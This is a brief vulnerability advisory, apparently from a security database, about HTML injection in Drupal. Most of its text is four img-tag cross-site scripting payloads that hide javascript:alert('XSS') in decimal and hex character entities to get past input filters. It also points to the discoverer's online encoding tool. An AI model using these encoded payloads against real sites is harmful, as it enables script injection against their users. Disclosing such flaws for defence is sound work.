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Drupal URL-Encoded Input HTML Injection Vulnerability

The following URL-encoded examples were provided:

<img src=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#39&#88&#83&#83&#39&#41>

<img src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

<img src=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#39&#88&#83&#83&#39&#41>

<img src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

The discoverer has also provided an online tool to encode various strings at the following location:

http://liz0zim.no-ip.org/code.php